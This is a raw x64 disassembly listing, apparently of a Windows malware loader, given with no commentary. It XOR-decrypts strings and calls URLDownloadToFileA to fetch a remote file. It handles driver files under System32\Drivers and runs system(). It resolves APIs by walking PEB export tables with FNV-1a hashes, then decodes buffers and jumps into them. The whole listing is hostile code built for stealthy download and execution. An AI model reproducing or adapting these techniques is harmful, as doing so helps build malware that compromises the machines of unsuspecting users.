movdqu xmmword [rbp + 0x240], xmm0
movdqa xmm1, xmmword [0x14007c1d0]
movdqu xmmword [rbp + 0x250], xmm1
mov dword [rbp + 0x260], 0xa9f0f7e0
mov dword [rbp + 0x264], 0xf9f0fb
mov byte [rbp + 0x268], 1
mov rcx, r14
lea eax, [rcx + 0x64]
xor byte [rbp + rcx + 0x240], al
inc rcx
cmp rcx, 0x27
jb 0x140013d82
mov byte [rbp + 0x268], 0
mov qword [rsp + 0x20], r14
xor r9d, r9d
lea r8, [rbp + 0x240]
lea rdx, [rbp]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
xor r8d, r8d
mov rdx, qword [str.C:WindowsSystem32Driverswinett.sys]
mov rcx, qword [str.C:WindowsSystem32Drivers_ramdisks.sys]
call fcn.140002470
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x14007bcf8]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
movups xmm0, xmmword [str.W_D_]
movups xmmword [rbp], xmm0
movups xmm1, xmmword [0x14007bc00]
movups xmmword [rbp + 0x10], xmm1
movups xmm0, xmmword [0x14007bc10]
movups xmmword [rbp + 0x20], xmm0
movups xmm1, xmmword [0x14007bc20]
movups xmmword [rbp + 0x30], xmm1
movups xmm0, xmmword [0x14007bc30]
movups xmmword [rbp + 0x40], xmm0
movups xmm1, xmmword [str.xedgfebcdivkjdhmlYWWSRPSQ__Z_eXWTgZRZRZ_]
movups xmmword [rbp + 0x50], xmm1
movups xmm0, xmmword [0x14007bc50]
movups xmmword [rbp + 0x60], xmm0
movups xmm1, xmmword [0x14007bc60]
movups xmmword [rbp + 0x70], xmm1
movzx eax, word [0x14007bc70]
mov word [rbp + 0x80], ax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140013ed6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140013ed6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140013ed1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140013eb0
cmp r8d, 0x491e0a9c
je 0x140013edb
test r9d, r9d
jne 0x140013e90
mov rax, qword [rax]
jmp 0x140013e60
mov ecx, dword [rdi + 0x24]
add rcx, r10
movzx edx, word [rcx + r9*2]
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov r11d, dword [rcx + rdx*4]
add r11, r10
mov r8d, r14d
cmp r15d, 2
jl 0x140014043
movdqa xmm5, xmmword [0x14007bdf0]
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 4]
mov edx, dword [rsp + 0x60]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x80
jl 0x140013f30
cmp r8d, 0x82
jge 0x140014086
movsxd rax, r8d
lea r9, [rbp]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x82
jl 0x140014050
lea rcx, [rbp]
call r11
movups xmm0, xmmword [0x14007bc78]
movups xmmword [rbp - 0x30], xmm0
movsd xmm0, qword [0x14007bc88]
movsd qword [rbp - 0x20], xmm0
mov eax, dword [0x14007bc90]
mov dword [rbp - 0x18], eax
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014136
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014136
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov ecx, dword [rcx + r10]
add rcx, r10
mov r8d, 0x811c9dc5
movzx edx, byte [rcx]
inc rcx
test dl, dl
je 0x140014131
nop
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
movzx edx, byte [rcx]
lea rcx, [rcx + 1]
test dl, dl
jne 0x140014110
cmp r8d, 0x491e0a9c
je 0x14001413b
test r9d, r9d
jne 0x1400140f0
mov rax, qword [rax]
jmp 0x1400140c0
movups xmm0, xmmword [0x14007bcb8]
movups xmmword [rbp + 0x240], xmm0
movups xmm1, xmmword [0x14007bcc8]
movups xmmword [rbp + 0x250], xmm1
movsd xmm0, qword [0x14007bcd8]
movsd qword [rbp + 0x260], xmm0
cmp r15d, 2
jl 0x140014661
movdqa xmm5, xmmword [0x14007bdf0]
mov edx, r14d
movdqa xmm4, xmmword [0x14007c050]
movdqa xmm6, xmmword [str.9999]
movdqa xmm0, xmmword [0x14007bfe0]
movdqa xmmword [rsp + 0x60], xmm0
lea rcx, [rbp + 0x244]
mov r8d, dword [rsp + 0x60]
nop dword [rax]
movd xmm2, edx
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [rdx + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14007be50]
packuswb xmm2, xmm2
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add edx, 8
lea rcx, [rcx + 8]
cmp edx, 0x28
jl 0x140014550
lea rcx, [rbp + 0x240]
jmp 0x140013aea
lea r9, [rbp + 0x240]
mov r8d, r14d
nop dword [rax + rax]
mov eax, 0x8fb823ef
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x28
jl 0x140014670
lea rcx, [rbp + 0x240]
jmp 0x140013aea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
lea rcx, [rbp + 0x110]
call fcn.140005200
nop
cmp dword [rbp + 0x278], 0
je 0x1400147d7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140014766
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140014766
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140014761
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140014740
cmp r8d, 0xb3c99bd
je 0x14001476b
test r9d, r9d
jne 0x140014720
mov rax, qword [rax]
jmp 0x1400146f0
mov edx, dword [rdi + 0x24]
add rdx, r10
movzx r8d, word [rdx + r9*2]
mov edx, dword [rdi + 0x1c]
add rdx, r10
mov eax, dword [rdx + r8*4]
add rax, r10
mov edx, 0x1f4
mov ecx, edx
call rax
lea rdx, [rbp - 8]
lea rcx, [rsp + 0x30]
call fcn.1400051d0
movzx ecx, byte [rax + 6]
test cl, cl
je 0x1400147bf
xor byte [rax], 0x34
xor byte [rax + 1], 0x35
xor byte [rax + 2], 0x36
xor byte [rax + 3], 0x37
xor byte [rax + 4], 0x38
xor byte [rax + 5], 0x39
xor cl, 0x3a
mov byte [rax + 6], cl
lea rdx, str.nuh_uh
mov rcx, rax
call fcn.14000b630
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
nop
xor eax, eax
mov rcx, qword [rbp + 0x1610]
xor rcx, rsp
call fcn.140076da0
lea r11, [rsp + 0x1730]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
nop
int3